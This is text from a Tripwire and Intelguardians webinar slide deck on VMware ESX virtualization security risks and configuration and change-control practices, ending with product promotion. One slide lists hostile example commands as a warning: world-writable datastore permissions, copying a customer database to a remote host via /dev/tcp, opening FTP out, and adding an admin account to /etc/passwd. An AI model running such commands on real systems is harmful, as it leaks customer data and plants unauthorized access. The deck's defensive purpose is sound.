Configuration Control forVirtual & Physical Infrastructures

1

Understanding And Mitigating Understanding And Mitigating Virtualization Security Risks in Virtualization Security Risks in VMware ESXVMware ESX

Gene Kim CTO, Tripwire

Mike Poor COO, Intelguardians

2

Agenda Agenda **

Virtualization security problem statement: • Introduces unique information security risks and challenges

• Amplifies the potential chaos between information security and IT operations

Security Visible Ops: how high performing IT organizations made their “good to great” transformation• Seven practical steps information security can take right away to

mitigate virtualization risks

• Increase integration into daily work of IT operations and development

Virtualization Is Here *

85% of 219 IT organizations are already using virtualization and half are planning to.

2008 Tripwire Customer Survey

85% of customers are already using virtualization for mission-critical production services.

VMware

Through 2009, 60% of virtual servers will be less secure than their physical counterparts, and 30% of virtualized servers

will be associated with a security incident. Gartner

A majority of IT practitioners agree that virtual server security risks are the result of misconfiguration, not inherent weaknesses of virtualization technology

2008 Tripwire Market Survey

The Dark Side Of Virtualization The Dark Side Of Virtualization **

Virtualization enables organizations to deploy changes and releases more quickly than ever• “What works at 60 mph may not work at 200 mph…”

Certain required activities in the physical world made it easier to prevent and detect release risks• Watching for servers on the loading dock

• Budgeting and procurement activities

• Physical data center access

• Network cabling

What happens when these activities are no longer required to deploy major releases?•And when it is easy to download VMplayer, copy virtual machines, etc…•And what could go wrong?

Pros• Centralization (instead of

things scattered all over the place)

• Control

• Reproducibility

• We can change things that we wouldn’t dare to before

• Recoverability

Cons• Centralization leads to single point

of failure (e.g., the last’ ESX crash on Tuesday)

• Virtualization can be invisible, and impossible to control

• Reproducibility (VMM admin can copy the whole thing)

• Easy to “roll your own VM”

• Potential overconfidence (e.g., friend who backed up everything except for ESX restore)

Is Virtualization Good Or Bad For Security?Is Virtualization Good Or Bad For Security?

6

An Uncomfortable QuestionAn Uncomfortable Question

Business executives need little convincing that managing information security is necessary to achieve their goals

Even when information security is adequately funded, why does information security fail to effectively prevent and quickly detect and recover from security breaches?

We believe that the root cause is failing to effectively integrate information security into the daily work of IT operations, software/service development, compliance, project management and internal audit…

Words often used to describe information security: “hysterical, irrelevant, bureaucratic, bottleneck, difficult to understand, not aligned with the business, immature, shrill, perpetually focused on irrelevant technical minutiae…”

Threat ModelThreat Model

Confidentiality• All your data is in one centralized datastore

• VMs can run on ESX servers, as well as on Mike’s laptop or even VM Player

Integrity• System and data integrity still hinges on process controls

• Merely having authorization doesn’t mean you have control

Availability• Single point of failure (SPOF) risks

• Definition of networking: “Your program fails because someone you’ve never met, doing something you’ve never heard of…”

• VM doesn’t have carrier-class networking modules (traditional security strategies don’t work yet – can’t reproduce security test lab in ESX yet, because bridging and networking code can’t replicate real environment)

Misfeasance and MalfeasanceMisfeasance and Malfeasance

Misfeasance• Biggest threat if not only by shear numbers of events but by how

they affect the business

• e.g. Bypass controls and change a configuration option. Result: 2 days of outage

• e.g. VM License expired, upgrades were missed. Result: 3 virtual servers compromised, data stolen

Malfeasance• Escape – escaping from guest to another guest, or worse… to the

host itself

• Compromise – A compromise is a compromise… but, when the host that gets compromised is the VM Management interface, its game over for all the systems on board.

Detection / Escape Detection / Escape -- ConcernsConcerns

Detection concerns• If malware or attackers can detect VMEs, they might assume they

are being analyzed and behave differentlyWe have seen several malware specimens “in the wild” that do this Statistics vary between 1 and 10 percent of specimens in the wild, however, these represent the most “interesting” malware, doing the most “cutting edge”attacksThese numbers are shooting up, as malware packer programs are released that include VME detection capabilities rolled-in

• Precursor to escape

Escape concerns• Information leakage

If information can be leaked between guests, or between the host and a guest, many security assumptions fail

• True escapeEven worse, if an attacker can jump from guest to host or guest to guest, security risks are greatly increased

Architecture DiligenceArchitecture Diligence

When deploying virtual machines, do not mix unlike guests (from a security perspective) on the same host machine

Deploy hardened guests together

Deploy weak guests together

But do not mix and match

Make sure security is a key architectural consideration

• Assume escape is possible, and then design around that fact

11

Operations And Security Already DonOperations And Security Already Don’’t Get Along t Get Along **

Operations Hinders Security…Deploying insecure components into production

Making production IT infrastructure hard to understand

Lack of information security standards

Poor availability of IT services

Using shared accounts to simplify access

Do not address known security vulnerabilities quickly

Security Hinders Operations…Creates bureaucracy

Generates large backlog of reviews

Implementation of information security requirements presents delays

Correcting issues costs too much, takes too long, & reduces feature set

Virtualization is helping IT go faster than ever – it’d be unacceptable for information security to get in the way!

12

Information Security Must Help Break A Core, Information Security Must Help Break A Core, Chronic Conflict In IT Chronic Conflict In IT **

Every IT organization is pressured to simultaneously:• Respond more quickly to urgent business needs

• Provide stable, secure and predictable IT service

When information security is integrated into development activities, development projects can implement security requirements earlier, requiring less rework, faster time to market and lower costs

When information security is integrated into IT operations, IT operations can better manage risks, prevent incidents fro occurring, and quickly detect and correct incidents (ideally, before anyone is affected). IT operations can better protect organizational commitments

Source: The authors acknowledge Dr. Eliyahu Goldratt, creator of the Theory of Constraints and author of The Goal, has written extensively on the theory and practice of identifying and resolving core, chronic conflicts.

13

Release ProcessesRelease Management

Security ManagementAvailability & Contingency

Management

Supplier ProcessesCustomer Relationship

ManagementSupplier Management

Capacity ManagementFinancial Management

Resolution ProcessesIncident ManagementProblem Management

Service Level ManagementService Reporting

Service Design & Management

Control ProcessesAsset & Configuration Management

Change Management

Automation

Release ProcessesRelease Management

Security ManagementAvailability & Contingency

Management

Release ProcessesRelease Management

Release ProcessesRelease Management

Security ManagementAvailability & Contingency

Management

Supplier ProcessesCustomer Relationship

ManagementSupplier Management

Capacity ManagementFinancial Management

Supplier ProcessesCustomer Relationship

ManagementSupplier Management

Supplier ProcessesCustomer Relationship

ManagementSupplier Management

Capacity ManagementFinancial Management

Resolution ProcessesIncident ManagementProblem Management

Service Level ManagementService Reporting

Service Design & Management

Control ProcessesAsset & Configuration Management

Change Management

Automation

Resolution ProcessesIncident ManagementProblem Management

Service Level ManagementService Reporting

Service Design & Management

Control ProcessesAsset & Configuration Management

Change Management

Automation

Visible Ops Security: Linking Security and IT Visible Ops Security: Linking Security and IT Operations Objectives In 4 Practical Steps Operations Objectives In 4 Practical Steps **

Sources: ITPI Visible Ops & IT Infrastructure Library (ITIL) / BS 15000

Phase 4Phase 4 Continually improveContinually improve

Phase 3Phase 3 Implement Implement

development & development & release controlsrelease controls

Phase 2Phase 2 Find fragile Find fragile

artifacts, and artifacts, and identify meaningful identify meaningful

business and business and technology riskstechnology risks

Phase 1Phase 1 Stabilize the patient, modify Stabilize the patient, modify

first response and get plugged first response and get plugged into productioninto production

14

Step 1: Gain Situation AwarenessStep 1: Gain Situation Awareness

Situational awareness: “the ability to identify, process, and comprehend the critical elements of information about what is happening to the team with regard to the mission.”

Virtualization exacerbates the problem of important stuff scattered all around (e.g., PGP keys, trust relationships, and data like PII)• Virtualization can solve the “network map doesn’t look like the

data center”

• Simplifies the mapping problem, but exacerbates the containment problem

Securing virtualized computing environments depends on good architecture and deployment (and involvement)

Merely getting licensing information on production VM servers can be helpful!

Step 1: Gain Situational AwarenessStep 1: Gain Situational Awareness

Questions we want to answer:• Who are the business and IT units, and how are they organized? (e.g.,

the centralized IT services group, an IT outsourcer, etc.)

• What are the relevant regulatory and contractual requirements for the business process enabled by virtualization? (e.g., SOX-404, PCI DSS, FISMA, etc.)

• What are the technologies and IT processes being used? (e.g., SAP, Oracle, J2EE, VMware ESX, etc.)

• Where is sensitive data being stored and where is it replicated? (e.g., PII, security trust relationships)

• Are there any high-level risk indicators from the past? (e.g., repeat audit findings, frequent outages, etc.)

• What IT services are being enabled by virtualization? (e.g., e-commerce, point of sale, financial reporting, order entry, etc.)

• What are the profiles of the VM users and VM instances?

Step 2: Reduce And Monitor Privileged Access Step 2: Reduce And Monitor Privileged Access **

VMM administrator accounts are very powerful• Can get visibility and potentially control

all running VMs

• Can get OS-level access to VMware ESX Service Console, circumventing all application controls

• Can get access to all datastores and VM disks

• Can create other very powerful accounts and roles

17

Step 2: Reduce And Monitor Privileged Access Step 2: Reduce And Monitor Privileged Access **

We know where infrastructure that poses the largest risk to business objectives are: now it’s time to ensure that access is properly restricted

We look for administrators have high levels of privilege and reduce access (applications, databases, OS, network, firewall, etc.)

They can introduce likelihood of errors, downtime, fraud and security incidents• Can affect mission critical IT services

• Can modify logical security settings

• Can add, remove and modify VMs

“To err is human. To really screw up requires the root password.”—Unknown

18

Step 2: Reduce And Monitor Privileged Access Step 2: Reduce And Monitor Privileged Access **

Implement preventive controls:• Reconcile admins to authorized staff and delete

any ghost accounts• Ensure reasonable number of admins (i.e., 25

is too many, one is too few)• Issue and revoke accounts upon hiring, firing,

reassignment• Enforce segmentation of data and VMs

Implement detective controls:• Monitor privileged user account adds, removes

and changes • Reconcile each user account change to an

authorized work order• Reconcile each user account to an HR record• Implement account re-accreditation procedures

“Hope is not a strategy. Trust is not a control.”

19

Step 3: Define And Enforce Configuration Step 3: Define And Enforce Configuration Standards Standards

Virtually all IT infrastructure has configuration and logical security settings that are designed to limit the risk of human error, fraud and security incidents

Our goal is to create known, trusted, stable, secure and risk-reduced configuration states

External configuration guides include:• Center For Internet Security

• VMWare: “VMware Infrastructure 3, Security Hardening”

“Like their physical counterparts, most security vulnerabilities will be introduced through misconfiguration and mismanagement. The security issues related to vulnerability and

configuration management get worse, not better, when virtualized. Source: Gartner, Inc. “Security Considerations and Best Practices for Securing Virtual Machines” by Neil MacDonald, March 2007.

Step 3: Define And Enforce Configuration Step 3: Define And Enforce Configuration Standards: VMware ESX and the host OSStandards: VMware ESX and the host OS

Security functionality is often reliant on host OS, not the VMware ESX app

Consider what would happen if we did the following…• ls /vmfs/datastore; chmod 777

datastore

• Disable firewall settings to allow ftp out

• Cat datastore/custdbserver/* /dev/tcp:myhost

• Add new admin account to /etc/passwd

21

Step 3: Define And Enforce Configuration Step 3: Define And Enforce Configuration Standards Standards

Implement preventive controls:• Help IT management and infrastructure

managers define a configuration security policy

• Mandate that all virtualization technologies use these secure configuration settings

• Define a time-limit for implementation and how quickly corrective actions must be implemented

Implement detective controls:• Monitor configuration settings wherever they

are stored (e.g., Unix or Windows files, Windows registry settings, etc.).

• Test configuration settings against organizational policies and report on any variance.

• Verify that corrective actions are properly implemented in the required time.

22

Step 4: Help Enforce Change Management Step 4: Help Enforce Change Management Processes Processes **

Changes to the VMM and VMs can hurt us in many ways (including operations, security and compliance):• Even if the organization achieved the mythical

“perfectly secure state,” any change can quickly take us out of that secure state

• Security in some areas are critical: virtual networking, privileges and roles, backups, etc…

• Changing VMM settings can have dire operational consequences (e.g., clicking OK on Update Manager, changing vmKernel port groups, and so forth…)

23

Step 4: Help Enforce Change Management Step 4: Help Enforce Change Management Processes Processes **

Implement preventive controls• Get invited to the Change Advisory Board (CAB) meetings• Ensure “tone at the top” and help define consequences

Implement detective controls• Build and electrify the fence• Substantiate that all changes are authorized• Look for red flags and indicators

Help assess the potential information security and operational impact of changes

• Improving procedures for change authorization, scheduling, implementation and substantiation

• Ensuring that change requests comply with information security requirements, corporate policy, and industry standards

• Information security needs change management to gain situational awareness of production changes and to influence decisions and outcomes (as opposed to being constantly by IT operations).

“[As auditors,] the top leading indicators of risk when we look at an IT operation are poor service levels and unusual rates of changes.” – Bill Philhower

24

Step 5: Create A Library Of Trusted BuildsStep 5: Create A Library Of Trusted Builds

Our goal is to make it easier to use a known, stable and secure build than an unauthorized and insecure build

• Cloning a VM: takes 2 seconds to click, 30 seconds to copy, and we’re online! (What can go wrong?)

• If we made available known and stable builds, why would anyone want to “hand roll” their own (requiring 2.5 hours to manually configure!)

Implement preventive controls:• Define those known and stable builds: wash, rinse,

repeat…• Define the process of how to assemble hardened

and stable builds (e.g., application, database, OS)• Work with any existing server provisioning teams

to add any standard monitoring agents• Ensure that application and service account

passwords are changed before deployment (e.g., database logins)

25

Step 5: Create A Library Of Trusted BuildsStep 5: Create A Library Of Trusted Builds

Implement detective controls:• Verify that deployed infrastructure matches

trusted, known good (and risk reduced) states

• Verify that virtual image configurations against internal and external configuration standards

• Monitor the approved virtual image library to ensure for all adds, removes and changes (i.e., directory where .vmdk files reside)

• Reconcile all adds, removes and changes to an authorized change order. This can be manual (e.g., signed change order from virtualization manager) or automated (e.g., Remedy work order)

No one has as much to gain from the trusted build library (or will lose more sleep at night) than information security…

26

Step 6: Integrate Into The Release Management Step 6: Integrate Into The Release Management Processes Processes **

Problems• How many things can go wrong between software packaging, installation,

configuration, tuning and deployment?

• How can we get more warning of upcoming releases than the pig being thrown over the wall?

Solution: Implement preventive and detective controls• Develop shared templates with release management, QA and project

management and integrate into their checkpoints

• Integrate automated security testing tools (e.g., vulnerability scanning, configuration assessment). Ideally, they will match those that run in production

• Compare preproduction and production images, and reduce any variance (there are few excuses not to with virtualized images)

• Release management and information security both require standardization and documentation

27

Step 7: Ensure Tone At The Top For Configurations Step 7: Ensure Tone At The Top For Configurations And Changes And Changes **

Ensure that “only acceptable number of unauthorized changes is zero”• Under what conditions are virtual machine activations, deactivations and

restarts a change that requires approval? (e.g., delivers a new IT service, is a CI that enables a service that has security or regulatory requirements, has outage risk to a mission-critical service, etc.)

• Who must approve standard and emergency changes for virtual machines?

Virtualization bypasses many physical controls (e.g., data center access, network cabling, VLAN configuration), so we must ensure that we can rely on compensating processes• Scenario: Materials management business process runs on virtualized IT

service, which is in-scope for SOX-404. VM is accidentally deleted three days before end of quarter, preventing business from closing its books.

URL: www.tripwire.com/configcheck

Introducing Tripwire ConfigCheckIntroducing Tripwire ConfigCheck™™

Simple to use, free utility holding the best-practices knowledge of experts at VMware & Tripwire

Easily and rapidly analyzes & validates VMware ESX servers configurations according to VMware hardening guidelines

Generates actionable results showing compliance and non-compliance for all guideline tests

Provides links to virtualization security resource center that provides remediation guidance for any failed test

Tripwire ConfigCheck Validates ESX Configurations

"Determine VMs managed by host using vmware-cmd -l command. Check *.vmx files for hostPass: isolation.tools.copy.disable = ""true""Fail: isolation.tools.copy.disable = ""false"" or value not found"

1

Permissions set to 0600: /var/log/vmkernel, /var/log/vmkwarning, /var/log/vmksummary, /var/log/vmware/hostd.log, /var/log/vmware/vpx, /var/log/messages, /var/log/secure permissions of 600

2

Higher Performing IT Organizations Are More Higher Performing IT Organizations Are More Stable, Nimble, Compliant And Secure Stable, Nimble, Compliant And Secure

High performers have fewer repeat audit findingsand lower audit costs

High performers make fewer emergency IT changes

High performers complete 6-8 times more projects

High performers have higher user satisfaction ratings

High performers are rated much higher by business executives for agility and results

High performers find and fix security breaches faster

Source: IT Process Institute/Institute of Internal Auditors (May 2007)

Key TakeawaysKey Takeaways

System Misconfiguration & Unauthorized Change Introduce Risk To Your Organization

Achieve & Maintain a Known & Trusted State

Proactively assess & validate IT configurations against policyRapidly detect & reconcile all configuration changes

Tripwire Delivers a Single Point-of-Control for Your Virtual & Physical Infrastructure

Configuration Assessment Change AuditAttain ComplianceMitigate Security RisksIncrease Operational Efficiency

Thank you for attendingThank you for attending……

All attendees will receive: • Presentation slides and a link to the recorded

webcast

For more information about Tripwire please visit:• www.tripwire.com

Resources for virtualization please visit:http://www.tripwire.com/solutions/virtualization.cfm

To download a free copy of Tripwire ConfigCheck:http://www.tripwire.com/configcheck

For more information about Intelguardians please visit:• www.intelguardians.com

Configuration Control forVirtual & Physical Infrastructures

Q&A Q&A

Gene KimCTO, Tripwiregenek@tripwire.com

Mike PoorPrincipal, Intelguardiansmike@intelguardians.com

Company BackgroundCompany Background

Recognized Leader of Configuration Audit & Control

Award-Winning, Patented Technology for Configuration Assessment & Change Auditing

Over 6,000 customers worldwide

Pioneer in Change Detection and File Integrity Monitoring

IT Best Practice Thought Leaders: Visible Ops Handbook, ITIL v3 contributor, Visible Ops Security

The Value of TripwireThe Value of Tripwire

AchieveKnown and Trusted State

Proactively assess configuration settings against internal & external standards

Identify risks & remediate to ensure policy compliance

MaintainKnown and Trusted State

Detect all changes across the IT infrastructure

Gain visibility & control through actionable reports, reconciliation

and remediation

Achieve & Maintain Configuration Control

Mitigate Security RiskAttain Compliance Increase Operational Efficiency

Active monitoring

and risk management

across the infrastructure

Automate controls

and reporting to meet specific

compliance requirements

Compliance Security

Enforce configuration and change controls to help obtain operational excellence

IT Operations

Deploy Tripwire in Three Main AreasDeploy Tripwire in Three Main Areas

Configuration Assessment Achieve a trusted state

Change AuditingMaintain a trusted state

Comprehensive Coverage Across the EnterpriseComprehensive Coverage Across the Enterprise

• Windows 2000 Server• Windows 2003 Server• Solaris (SPARC)• Solaris (x86)

• AIX• HP-UX• Red Hat Enterprise Linux• SUSE Linux

Operating Systems

• HP ProCurve Series• ISS (Nokia IPSO)• Juniper M/T Series• Marconi ForeThought• NetScreen• Nokia IPSO OS• Nortel Alteon & Passport • POSIX-compliant appliances

• Alcatel OmniSwitch• Cisco IOS, CatOS & PIX OS• Cisco VPN 3000 Series• Cisco Catalyst 1900/2820• Check Point (Nokia IPSO)• Extreme• F5 BigIP• Foundry

Network Devices

• Microsoft Exchange• Microsoft IIS

Applications• Oracle 9i & 10g• SQL Server

Databases

•Solaris Zones • VMware ESX Virtual Environments

• Windows Active Directory• Solaris Sun One Directory • Novell eDirectory• LDAP

Directory Services• BEA WebLogic• IBM WebSphere • J2EE• .NET

Middleware

URL: www.tripwire.com/configcheck

Introducing Tripwire ConfigCheckIntroducing Tripwire ConfigCheck™™

Simple to use, free utility holding the best-practices knowledge of experts at VMware & Tripwire

Easily and rapidly analyzes & validates VMware ESX servers configurations according to VMware hardening guidelines

Generates actionable results showing compliance and non-compliance for all guideline tests

Provides links to virtualization security resource center that provides remediation guidance for any failed test

Company BackgroundCompany Background

World-class information security consulting and research

Security for leaders, by leaders

Authors of 17 best-selling information security books

Top consulting services:

Web Application security testing

Application, Network, and Physical Penetration Testing

Security Architecture Analysis

Forensics and Incident Response

Research Projects include:

Virtual Machine Escape, Bastille-Unix hardening tools, LaBrea tar pit, Spycar, BASE, and more…